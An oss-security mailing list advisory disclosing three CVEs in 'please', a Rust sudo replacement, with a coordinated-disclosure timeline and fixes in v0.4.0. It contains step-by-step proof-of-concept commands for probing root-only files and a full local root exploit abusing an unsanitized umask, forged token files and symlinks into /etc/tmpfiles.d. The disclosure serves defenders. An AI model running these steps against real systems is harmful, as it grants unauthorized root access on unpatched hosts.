|
Message-ID: <YKOT2W06Zbh45EJw@f195.suse.de>
Date: Tue, 18 May 2021 12:15:53 +0200
From: Matthias Gerstner <mgerstner@...e.de>
To: oss-security@...ts.openwall.com
Subject: please: CVE-2021-31153,CVE-2021-31154,CVE-2021-31155: local root
exploit and further security issues in sudo-like utility
Hello list,
"please" [1] is a sudo replacement written in Rust. Its author requested
a code review for inclusion of the setuid-root binary in openSUSE [2].
I reviewed the source of please version 0.3.3 and found multiple
security issues including a local root exploit (item 1.d) for users that
are allowed to run a command. You can find the detailed report below.
# 1) Findings in `please`
## a) Arbitrary File Existence Test and Arbitrary File Open via `-c`, `--check`
Arbitrary file existence test and arbitrary file open as root is possible
via the `-c`, `--check` command line switch. This does not involve an
information leak but triggers kernel logic not usually available to regular
users e.g. when sockets or special devices are involved. It also allows the
setuid-root program to run out-of-memory. Examples:
```
# runs OOM
user$ please -c /dev/zero
Killed
# reads the full block device until OOM occurs
user$ please -c /dev/sda
Killed
# this file exists (in my case)
user$ please -c /root/.bash_history
Error parsing /root/.bash_history:712
Error parsing /root/.bash_history:716
Error parsing /root/.bash_history:1380
Error parsing /root/.bash_history:1382
# this doesn't exist
user$ please -c /root/.something
```
The file existence test allows for a minimal information leak in terms of
the involved line numbers output in the error messages.
## b) Arbitrary File Existence Test via the `search_path()` function
Arbitrary file existence test is possible via the `search_path()` function,
called in please.rs:254. Examples:
```
# this file doesn't exist
user$ please /root/.something
[please]: command not found
# this file exists (in my case)
user$ please /root/.bash_history
You may not execute "/root/.bash_history" on <host> as root
```
## c) Arbitrary file existence test via the `-d` switch
This one also allows differentiation between dirs and files.
```
# here /root/.gnupg exists and is a directory
user$ please -d /root/.gnupg cat /etc/fstab
[<fstab content>]
# here /root/.bash_history exists but is not a directory
user$ please -d /root/.bash_history cat /etc/fstab
Cannot cd into /root/.bash_history: Not a directory (os error 20)
# here /root/.something does not exist at all
user$ please -d /root/.something cat /etc/fstab
Cannot cd into /root/.something: No such file or directory (os error 2)
```
## d) The Token Dir "/var/run/pleaser/token" is Created with Unsanitized umask
The token dir "/var/run/pleaser/token", if not existing, is created via
Rust's `create_dir_all` and the process's umask is not sanitized. This
allows the unprivileged user to influence the resulting directory
permissions:
```
# the directory must not yet exist. If it does, a reboot can help out.
test -d /var/run/please && echo "token dir already exists, won't work!"
# clear umask
user$ umask 0
# run some arbitrary command, this needs to be allowed via /etc/please.ini
# but whether the password is successfully entered or not is unimportant
# at this point.
user$ please cat /etc/fstab
[please] password for user: ^C
# now the directories should have been created world-writable
user$ ls -lhd /var/run/please /var/run/please/token
drwxrwxrwx 3 root root 60 31. Mär 13:48 /var/run/please/
drwxrwxrwx 2 root root 40 31. Mär 13:48 /var/run/please/token
# now to grant us access to arbitrary configured commands w/o entering the
# user password
user$ touch /var/run/please/token/$USER:`tty | tr '/' '_'`:$$
# should now work w/o password
user$ please cat /etc/fstab
[<fstab content>]
# since symlinks are also followed in the token directory we can now create
# new world-writable files anywhere in the system after authentication
# succeeds. Already existing files can be truncated to size 0 this way.
user$ cd /var/run/please/token
user$ rm -f $USER:*
user$ ln -s /etc/tmpfiles.d/supersafe.conf $USER:`tty | tr '/' '_'`:$$
user$ please cat /etc/fstab
[please] password for user: <actual password>
# the file should now have been created world-writable
user$ ls -l /etc/tmpfiles.d/supersafe.conf
-rw-rw-rw- 1 root root 0 31. Mär 13:57 /etc/tmpfiles.d/supersafe.conf
# write some interesting content in there
user$ echo "d /root 0777 root root -" >/etc/tmpfiles.d/supersafe.conf
# reboot the local system e.g. via power button or display manager, then...
user$ ls -lhd /root
drwxrwxrwx 10 root root 4.0K 31. Mär 13:46 /root/
```
So this more or less allows anybody who is allowed to execute at least one
command with password authentication to perform a full local root exploit.
## 2) Findings in `pleaseedit`
## a) Predictable Temporary File Names in /tmp and the Target Directory
pleaseedit uses predictable paths in /tmp and in the target directory via
the functions `tmp_edit_file_name()` and `source_tmp_file_name()` and
possibly others. Without the Linux kernel's symlink protection this would
allow arbitrary file overwrite and ownership change if a regular user is
allowed to edit any file via pleaseedit.
Here is an excerpt of system calls performed in /tmp when editing /etc/fstab
successfully:
```
statx(AT_FDCWD, "/tmp/pleaseedit.user._etc_fstab", AT_STATX_SYNC_AS_STAT, TA_ALL, 0x7fff21e4cd60) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/tmp/pleaseedit.user._etc_fstab", _WNLY|O_CREAT|O_TRUNC|O_CLOEXEC, 0100600) = 4
chown("/tmp/pleaseedit.user._etc_fstab", 1000, 100) = 0
fchmodat(AT_FDCWD, "/tmp/pleaseedit.user._etc_fstab", 0600) = 0
execve("/usr/bin/cat", ["/usr/bin/cat", "/tmp/pleaseedit.user._etc_m"...], x55afc490f0 /* 74 vars */) = 0
openat(AT_FDCWD, "/tmp/pleaseedit.user._etc_fstab", O_RDONLY) = 3
openat(AT_FDCWD, "/tmp/pleaseedit.user._etc_fstab", O_RDONLY|O_CLOEXEC) = 3
unlink("/tmp/pleaseedit.user._etc_fstab") = 0
```
So the `openat()` calls do not include the `O_NOFOLLOW` flag to explicitly
protect against symlinks existing there. Furthermore these paths should
really be unpredictable in an `mkstemp()` manner.
The `chown()` call would allow for a full local root exploit if not for the
symlink protection mechanism. A race condition needs to be won, however,
because the code tries to remove an existing file in this location first.
In the target directory `pleaseedit` also potentially follows symlinks:
```
openat(AT_FDCWD, "/etc/fstab.pleaseedit.copy.user", _WNLY|O_CREAT|O_TRUNC|O_CLOEXEC, 0100600) = 4
```
So if the target directory is under control of a non-root user then this
could also allow privilege escalation, this time there isn't even symlink
protection available, because the target directory will not be
sticky/world-writable. It requires two user accounts to "work
together", however, the user that is invoking `please` and the user
that is owning the target directory.
# Bugfixes
I discussed and reviewed fixes for these issues (and for a couple of
other recommendations I gave) with the upstream author and they are part
of the v0.4.0 upstream release.
# CVE assignments
- CVE-2021-31153: cummulative for all file and directory existence tests
corresponding to findings 1.a, 1.b and 1.c.
- CVE-2021-31154: for the predictable temporary filenames in pleaseedit
corresponding to finding 2.a.
- CVE-2021-31155: for the missing sanitation of the umask corresponding to
finding 1.d.
# Conclusion
Correctly implementing setuid-root binaries remains a challenge also in
modern programming languages like Rust. While the general design of
'please' was rather clean it was not implemented setuid aware at all.
# Timeline
2021-03-17: Review request was created
2021-04-01: I shared the security findings with the upstream author and
offered coordinated disclosure.
2021-04-14: I reviewed the final batch of fixes and we agreed on them.
2021-05-17: The embargo time frame was unclear for a longer time
since Debian Linux updates needed to be prepared, but the
upstream author already published the fixes on Gitlab. I
received the official okay for publishing the full report
only now.
[1]: https://gitlab.com/edneville/please.git
[2]: https://bugzilla.suse.com/show_bug.cgi?id=1183669
--
Matthias Gerstner <matthias.gerstner@...e.de>
Dipl.-Wirtsch.-Inf. (FH), Security Engineer
https://www.suse.com/security
Phone: +49 911 740 53 290
GPG Key ID: 0x14C405C971923553
SUSE Software Solutions Germany GmbH
HRB 36809, AG Nürnberg
Geschäftsführer: Felix Imendörffer
Download attachment "signature.asc" of type "application/pgp-signature" (834 bytes)
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.